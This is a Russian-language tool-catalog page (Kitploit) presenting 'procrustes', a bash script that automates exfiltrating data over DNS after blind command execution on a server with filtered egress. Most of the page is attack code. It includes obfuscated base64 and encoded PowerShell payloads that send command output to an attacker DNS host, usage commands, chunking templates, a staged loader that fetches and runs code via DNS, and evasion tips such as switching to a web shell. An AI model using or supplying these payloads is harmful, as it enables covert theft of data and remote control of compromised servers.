Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
procrustes — Скрипт на bash, автоматизирующий эксфильтрацию данных через DNS при слепом выполнении команд на сервере с фильтрацией исходящего трафика. | Kitploit
Инструменты/GitHubGitHub/vp777/procrustes
ЭксплуатацияЭксфильтрация данныхКомандование и УправлениеRed TeamingАнализ DNS
GitHubvp777/procrustes

procrustes

Скрипт на bash, автоматизирующий эксфильтрацию данных через DNS при слепом выполнении команд на сервере с фильтрацией исходящего трафика.

Репозиторий
2103235 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Procrustes

Bash-скрипт, который автоматизирует эксфильтрацию данных через DNS в случае, если мы имеем слепое выполнение команд на сервере, где все исходящие соединения, кроме DNS, заблокированы. Скрипт в настоящее время поддерживает sh, bash и powershell и совместим с выполнением команд в стиле exec (например, java.lang.Runtime.exec).

Unstaged:

Staged:

Для своей работы скрипт принимает на вход команду, которую мы хотим выполнить на целевом сервере, и преобразует её в соответствии с целевой оболочкой, чтобы разрешить вывод этой команды эксфильтровать через DNS. После преобразования команда передаётся «диспетчеру». Диспетчер — это программа, предоставленная пользователем, которая отвечает за приём команды и её выполнение на целевом сервере любыми доступными средствами (например, эксплуатация уязвимости). После выполнения команды на целевом сервере ожидается, что будут инициированы DNS-запросы к нашему DNS-серверу, содержащие фрагменты наших данных. Скрипт прослушивает эти запросы, пока вывод предоставленной пользователем команды не будет полностью эксфильтрован.

Ниже приведены поддерживаемые преобразования команд, сгенерированные для эксфильтрации команды: ls

sh:

root@kitploit:~
sh -c $@|base64${IFS}-d|sh . echo IGRpZyBAMCArdHJpZXM9NSBgKGxzKXxiYXNlNjQgLXcwfHdjIC1jYC5sZW4xNjAzNTQxMTc4LndoYXRldi5lcgo=

bash:

root@kitploit:~
bash -c {echo,IG5zbG9va3VwIGAobHMpfGJhc2U2NCAtdzB8d2MgLWNgLmxlbi4xNjAzMDMwNTYwLndoYXRldi5lcgo=}|{base64,-d}|bash

powershell:

root@kitploit:~
powershell -enc UgBlAHMAbwBsAHYAZQAtAEQAbgBzAE4AYQBtAGUAIAAkACgAIgB7ADAAfQAuAHsAMQB9AC4AewAyAH0AIgAgAC0AZgAgACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAGwAcwApACkAKQAuAGwAZQBuAGcAdABoACkALAAiAGwAZQBuACIALAAiADEANgAwADMAMAAzADAANAA4ADgALgB3AGgAYQB0AGUAdgAuAGUAcgAiACkACgA=

Использование

  1. Локальное тестирование для bash:
root@kitploit:~
./procroustes_chunked.sh -h whatev.er -d "dig @0 +tries=5" -x dispatcher_examples/local_bash.sh -- 'ls -lha|grep secret' < <(stdbuf -oL tcpdump --immediate -l -i any udp port 53)
  1. Локальное тестирование для powershell с WSL2:
root@kitploit:~
stdbuf -oL tcpdump --immediate -l -i any udp port 53|./procroustes_chunked.sh -w ps -h whatev.er -d "Resolve-DnsName -Server wsl2_IP -Name" -x dispatcher_examples/local_powershell_wsl2.sh -- 'gci | % {$_.Name}'
  1. Пример для powershell, где мы подключаемся по SSH к нашему NS для получения входящих DNS-запросов.
root@kitploit:~
./procroustes_chunked.sh -w ps -h yourdns.host -d "Resolve-DnsName" -x dispatcher_examples/curl_waf.sh -- 'gci | % {$_.Name}' < <(stdbuf -oL ssh user@HOST 'sudo tcpdump --immediate -l udp port 53')
  1. Дополнительная информация о параметрах
root@kitploit:~
./procroustes_chunked.sh --help

procroustes_chunked против procroustes_full

Вкратце, предположим, что мы хотим эксфильтровать некоторые данные, которые необходимо разбить на четыре фрагмента, чтобы их можно было передать через DNS:

  • procroustes_chunked: вызывает диспетчер четыре раза, каждый раз запрашивая другой фрагмент с сервера. Имеет относительно небольшой размер полезной нагрузки, работает быстро и не требует специальной настройки.
  • procroustes_full: вызывает диспетчер один раз; команда, которая будет выполнена на сервере, будет отвечать за разбиение данных на фрагменты и их отправку. Может иметь больший размер полезной нагрузки, работает быстро (скорость можно настроить с помощью параметра -t), и его скорость можно дополнительно оптимизировать, когда dns_server запущен на сервере имён.
  • procroustes_full/staged: то же, что и procroustes_full, но использует стейджер для получения команды, используемой procroustes_full для разбиения данных на фрагменты. Имеет наименьший размер «полезной нагрузки», но также является самым медленным с точки зрения скорости эксфильтрации, так как фактическая полезная нагрузка загружается через DNS. Для его работы требуется создание скрипта nsconfig. Примечание: скрипт nsconfig следует создавать только один раз на сервер имён (а не на целевой сервер).

Некоторые их различия также можно проиллюстрировать с помощью шаблонных команд, используемых для bash:

procroustes_chunked/bash:

root@kitploit:~
%DNS_TRIGGER% `(%CMD%)|base64 -w0|cut -b$((%INDEX%+1))-$((%INDEX%+%COUNT%))'`.%UNIQUE_DNS_HOST%

procroustes_full/bash:

root@kitploit:~
(%CMD%)|base64 -w0|echo $(cat)--|grep -Eo '.{1,%LABEL_SIZE%}'|xargs -n%NLABELS% echo|tr ' ' .|awk '{printf "%s.%s%s\n",$1,NR,"%UNIQUE_DNS_HOST%"}'|xargs -P%THREADS% -n1 %DNS_TRIGGER%

procroustes_full/bash/staged:

root@kitploit:~
(seq %ITERATIONS%|%S_DNS_TRIGGGER% $(cat).%UNIQUE_DNS_HOST%|tr . \ |printf %02x $(cat)|xxd -r -p)|bash

procroustes_chunkedprocroustes_fullprocroustes_full_staged
накладные расходы на размер полезной нагрузки (bash/powershell)150*NLABELS/500*NLABELS (+CMD_LEN)300/800 (+CMD_LEN)150/400[1]
количество вызовов диспетчера#output/(LABEL_SIZE*NLABELS)[2]11
скорость (bash/powershell)✔/✔✔/✔✓/✓[3]
сложность настройкилегкаялегкая+средняя

[1] Для стейджевой версии команда загружается через DNS, поэтому указанный размер также является общим размером полезной нагрузки.

[2] В procroustes_chunked диспетчер вызывается несколько раз, и так же предоставленная команда, которая должна быть выполнена на сервере (пока весь её вывод не будет эксфильтрован). Такое поведение не идеально, если доставка команд на сервер (т.е. вызов диспетчера) требует больших временных/ресурсных затрат.

Это также может вызвать проблемы, если команда, которую мы выполняем на сервере, не идемпотентна (с точки зрения функциональности или вывода, например, «ls;rm file») или требует больших временных/ресурсных затрат (например, find / -name secret). Обходным решением в этом случае является сначала сохранить вывод команды в файл (например, /tmp/file), а затем использовать скрипт для чтения этого файла.

[3] В стейджевой версии мы имеем накладные расходы времени, необходимого для получения фактической полезной нагрузки через DNS. Следует отметить, что скрипт использует A-записи для получения фактической полезной нагрузки. Хотя это позволяет нашему трафику лучше сливаться с обычным трафиком целевой среды, это обеспечивает ограниченную пропускную способность канала (например, 4 байта на запрос). Мы могли бы использовать другие типы записей, такие как TXT, и минимизировать время загрузки стейджера (почти до нуля) и размер стейджера.

Советы

  • Вероятно, вы захотите использовать этот скрипт как можно реже; постарайтесь как можно скорее перейти на канал с более высокой пропускной способностью (например, HTTP-веб-шелл)
  • Если ожидается длинный текстовый вывод, можно попробовать сначала сжать его, чтобы ускорить процесс эксфильтрации, например: ./procrustes_full.sh ... -o >(setsid gunzip) -- 'ls -lhR / | gzip'
  • Другая возможность для больших/бинарных файлов — скопировать их по пути, доступному, например, через HTTP
  • Для увеличения пропускной способности эксфильтрации в procrustes_full запустите dns_server на вашем сервере имён. Таким образом, мы избегаем ожидания тайм-аута базового DNS_TRIGGER перед переходом к новому фрагменту.
  • В идеале вы должны иметь домен (опция -h) с NS-записью, указывающей на сервер, который вы контролируете (сервер, на котором мы запускаем tcpdump). Тем не менее, если цели разрешено инициировать соединения с произвольными DNS-серверами, этого можно избежать, явно указав DNS-триггеру использовать наш DNS-сервер (например, dig @your_server whatev.er)

Благодарности

  • Collabfiltrator — идея разбиения данных на фрагменты на сервере. Он также выполняет похожие функции с этим скриптом, так что ознакомьтесь с ним.
  • DNSlivery — модифицированная версия DNSlivery используется в качестве DNS-сервера.
Скачать инструмент